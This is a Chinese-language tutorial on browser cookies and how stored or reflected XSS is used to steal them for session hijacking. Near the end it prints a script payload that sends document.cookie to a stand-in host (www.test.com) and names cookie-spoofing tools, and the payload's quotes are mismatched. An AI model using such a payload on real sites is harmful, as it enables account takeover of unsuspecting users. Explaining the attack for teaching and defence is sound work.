窃取客户端Cookie资料是XSS攻击中最常见的应用方式之一。
Cookie是由服务器提供的存储在客户端的数据,使JavaScript的开发人员能够将信息持久化保存在一个会话期间或多个会话之间。同时,由于Cookie是现今Web系统识别用户身份和保存会话状态的主要机制,一旦 Web 应用程序中存在跨站脚本执行漏洞,那么攻击者就能欺骗用户从而轻易地获取Cookie信息,执行恶意操作。
Cookie到底是什么
Cookie 是用户浏览网页时网站存储在用户机器上的小文本文件,文件里面记录了与用户相关的一些状态或者设置,比如用户名、ID、访问次数等,当用户下一次访问这个网站的时候,网站会先访问用户机器上对应的该网站的Cookie文件,并从中读取信息,以便用户实现快速访问。
1) cookie的诞生
当以特定的账户和密码登录博客后,如果每一步操作都要求重新输入密码加以确认,就会让人不甚其烦,所以浏览器和Web系统有必要对用户进行身份识别和会话跟踪,由此,Cookie技术诞生了。
2)Cookie的类型
Cookie的时效(Expiration)是一个很重要的属性,可在服务器端人为设置为1分钟、1天、1个月,也可以设置为在浏览器关闭的同时失效。
根据Cookie的时效性以及相关特点,可以把它分为两种类型:持久型Cookie和临时型Cookie。
持久型Cookie以文本形式存储在硬盘上,由浏览器存取。
临时型Cookie也称为会话Cookie,存储在内存中,关闭当前浏览器后会立即消失。
3)Cookie的操作
Cookie的操作十分简单,可通过Document对象访问。若要创建一个Cookie,只要将特定格式的字符串赋给document.cookie即可。由于Cookie基于HTTP服务器的机制,所以从客户端和服务端都能访问Cookie,只要启动Web浏览器,在地址栏输入javascript:alert(document.cookie),按下【Enter】键就会弹出当前的Cookie信息。
Cookie常见属性如下:
Domain——设置关联Cookie的域名;
Expires——通过给定一个过期时间来创建一个持久化Cookie;
HttpOnly——用于避免Cookie被JavaScript访问;
Name——Cookie的名称;
Path——关联到Cookie的路径,默认为/;
Value——读写Cookie的值;
Secure——用于指定Cookie需要通过安全Socket层连接传递;
4)Cookie的安全
Cookie的安全一直是人们最关心的话题。最初Cookie被设计出来的时候也考虑了一些安全因素,比如,对内容加密,只有对应的服务器才能读懂。
Cookie会话攻击原理剖析
问题是窃取Cookie的人不需要知道这些字符串的含义,只要把Cookie信息向服务器提交并通过验证后,他们就可以冒充受害人的身份登录网站,这种行为一般叫做Cookie欺骗或Cookie会话攻击。
假设一个网站存在存储型XSS(或反射型XSS),攻击者就可以向漏洞页面写入窃取Cookie信息的恶意代码,在用户浏览XSS网页时,攻击者就能够获取受害者当前浏览器中的Cookie信息。获取客户端的Cookie:
<script>
document.location="http://www.test.com/cookie.asp?cookie ='+document.cookie
</script>
在远程服务器上,有一个接收和记录Cookie信息的文件。
攻击者在获取受害者的Cookie信息后,还需要与Web系统建立会话,才能完全侵入用户的账户。建立会话通常要使用一些能够修改 Cookie 的工具,例如桂林老兵 Cookie 欺骗工具、Firefox浏览器的插件Firecookie等。
使用 Cookie 存在一定的安全缺陷,有没有更安全的方法呢?要知有没有,请看下期Session。